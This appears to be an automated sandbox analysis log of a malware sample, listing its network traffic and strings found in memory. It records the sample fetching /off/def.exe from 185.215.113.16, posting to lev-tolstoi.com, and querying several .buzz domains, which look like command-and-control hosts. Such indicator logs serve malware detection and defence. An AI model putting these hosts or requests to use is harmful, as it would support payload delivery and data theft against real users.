Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=ce9d6428d0c1d491bcee1500; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35121Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveSat, 28 Dec 2024 08:56:31 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: TdloJt4gY3.exe, 00000000.00000003.1345857497.000000000155D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=ce9d6428d0c1d491bcee1500; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35121Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveSat, 28 Dec 2024 08:56:31 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: TdloJt4gY3.exe, 00000000.00000003.1345857497.000000000155D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: prisonyfork.buzz
Source: global traffic	DNS traffic detected: DNS query: rebuildeso.buzz
Source: global traffic	DNS traffic detected: DNS query: scentniej.buzz
Source: global traffic	DNS traffic detected: DNS query: inherineau.buzz
Source: global traffic	DNS traffic detected: DNS query: screwamusresz.buzz
Source: global traffic	DNS traffic detected: DNS query: appliacnesot.buzz
Source: global traffic	DNS traffic detected: DNS query: cashfuzysao.buzz
Source: global traffic	DNS traffic detected: DNS query: hummskitnj.buzz
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: TdloJt4gY3.exe, 00000000.00000003.1607379858.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: TdloJt4gY3.exe, 00000000.00000003.1607379858.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/%
Source: TdloJt4gY3.exe, 00000000.00000003.1607379858.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/3
Source: TdloJt4gY3.exe, 00000000.00000003.1607770421.000000000158C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1607770421.000000000158C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeV
Source: TdloJt4gY3.exe, 00000000.00000003.1607770421.000000000158C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeX
Source: TdloJt4gY3.exe, 00000000.00000003.1607493817.0000000005F5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exeCP
Source: TdloJt4gY3.exe, 00000000.00000003.1446990282.0000000005F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: TdloJt4gY3.exe, 00000000.00000003.1446990282.0000000005F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: TdloJt4gY3.exe, 00000000.00000003.1446990282.0000000005F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: TdloJt4gY3.exe, 00000000.00000003.1446990282.0000000005F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: TdloJt4gY3.exe, 00000000.00000003.1446990282.0000000005F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: TdloJt4gY3.exe, 00000000.00000003.1446990282.0000000005F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: TdloJt4gY3.exe, 00000000.00000003.1446990282.0000000005F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: TdloJt4gY3.exe, 00000000.00000003.1446990282.0000000005F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: TdloJt4gY3.exe, 00000000.00000003.1446990282.0000000005F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_105.6.dr	String found in binary or memory: http://schema.org/Organization
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: TdloJt4gY3.exe, 00000000.00000003.1446990282.0000000005F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: TdloJt4gY3.exe, 00000000.00000003.1446990282.0000000005F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: TdloJt4gY3.exe, 00000000.00000003.1398941177.0000000005FA1000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399040763.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399203996.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_105.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_105.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: chromecache_105.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_105.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345676702.000000000151C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: TdloJt4gY3.exe, 00000000.00000003.1448336604.0000000005F6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: TdloJt4gY3.exe, 00000000.00000003.1398941177.0000000005FA1000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399040763.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399203996.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.000000000158C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.
Source: TdloJt4gY3.exe, 00000000.00000003.1345857497.000000000155D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: TdloJt4gY3.exe, 00000000.00000003.1398941177.0000000005FA1000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399040763.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399203996.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: TdloJt4gY3.exe, 00000000.00000003.1398941177.0000000005FA1000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399040763.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399203996.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
